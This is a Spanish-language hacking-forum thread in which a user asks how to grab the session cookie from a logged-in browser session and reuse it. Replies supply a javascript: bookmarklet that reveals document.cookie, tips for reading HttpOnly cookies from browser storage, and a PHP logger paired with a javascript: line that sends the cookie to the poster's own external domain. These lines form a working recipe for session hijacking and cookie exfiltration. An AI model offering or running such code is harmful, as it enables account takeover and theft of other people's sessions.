Conseguir cookies estando ya autenticado

Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

Foro de elhacker.net

Seguridad Informática

Bugs y Exploits

Nivel Web (Moderadores: sirdarckcat, WHK)

Conseguir cookies estando ya autenticado

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1]

Autor

Tema: Conseguir cookies estando ya autenticado (Leído 2,306 veces)

WaAYa HaCK

Desconectado

Mensajes: 262

import ehn / #include <ehn.h>

Conseguir cookies estando ya autenticado

« en: 16 Julio 2011, 17:24 »

Hola! Mi caso es el siguiente:

Un día subo la pantalla de mi portátil, veo que está encendido... qué raro... ¡Anda, si me dejé otra sesión abierta en un foro!

Mi pregunta es: teniendo ya la página abierta e identificado como usuario legítimo, cómo puedo hacer para capturar la cookie? ¿Y después, cómo la puedo utilizar?

Tengo un dominio waaya.herobo.com: en él hay un archivo cookie.php que guarda cookies en cookies.txt .

Saludos!


	En línea

Azielito

no es
CoAdmin

Desconectado

Mensajes: 9.114

>.<

Re: Conseguir cookies estando ya autenticado

« Respuesta #1 en: 1 Agosto 2011, 20:12 »

en la barra de direcciones pones
javascript:prompt('',document.cookie);void(0);

y ya, seleccionas, copias y pegas =D

el problema es cuando no te guarda la sesion en la cookie sino de otra forma =P


	En línea

Ejemplo de
Cómo pronunciar

Ambr0si0

Desconectado

Mensajes: 105

Re: Conseguir cookies estando ya autenticado

« Respuesta #2 en: 2 Agosto 2011, 01:13 »

Cita de: Azielito en 1 Agosto 2011, 20:12

en la barra de direcciones pones
javascript:prompt('',document.cookie);void(0);

y ya, seleccionas, copias y pegas =D

el problema es cuando no te guarda la sesion en la cookie sino de otra forma =P

Si la cookie tiene el parametro HTTP ONLY no te imprimirá la cookie.
En este caso no tienes mas que ver donde guardan las cookies tu navegador.
O más simple hay muchas extensiones (al menos en firefox) donde puedes consultar estos valores. CookieManager+


	En línea

I'll tell you something about good-looking people, we're not well-liked.

WaAYa HaCK

Desconectado

Mensajes: 262

import ehn / #include <ehn.h>

Re: Conseguir cookies estando ya autenticado

« Respuesta #3 en: 2 Agosto 2011, 03:25 »

Ok, voy a probar. A ver si puedo entender de una vez todo el mundo de las cookies

Gracias!


	En línea

El As del Club Paris

Conectado

Mensajes: 1.816

Re: Conseguir cookies estando ya autenticado

« Respuesta #4 en: 12 Agosto 2011, 18:28 »

Seria ams facil asi:

Tu archivo http://waaya.herobo.com/cookie.php deberia tener esto:

Código

<?php
echo urldecode($_GET['c']);
?>

Entonces en la barra de direcciones del navegador pegar esto:

Código

javascript:location.href="http://waaya.herobo.com/cookie.php?q="+document.cookie;

Te doy una idea, no el ejemplo completo... :¬¬

Saludos


	En línea

sudo suck --mycock -o force

Páginas: [1]

Ir a:

Mensajes similares
	Asunto	Iniciado por	Respuestas	Vistas	Último mensaje
	Ahora Estando En Linux? Hacking Básico	SkA	9	2,683	15 Diciembre 2003, 22:04 por vicecity
	Estando en Shell Hacking Linux/Unix	MANTERO	10	4,487	8 Marzo 2005, 08:56 por alcatel
	comoo blokear mi pc estando encendido¿? Seguridad	flipado_20	9	1,449	18 Septiembre 2004, 05:39 por Anakin2001
	las cookies no son seguras! problema de seguridad con las cookies Desarrollo Web	competitivo	2	1,312	20 Febrero 2005, 08:14 por competitivo
	Proxy autenticado Redes	gatomadrid	0	705	10 Febrero 2010, 21:01 por gatomadrid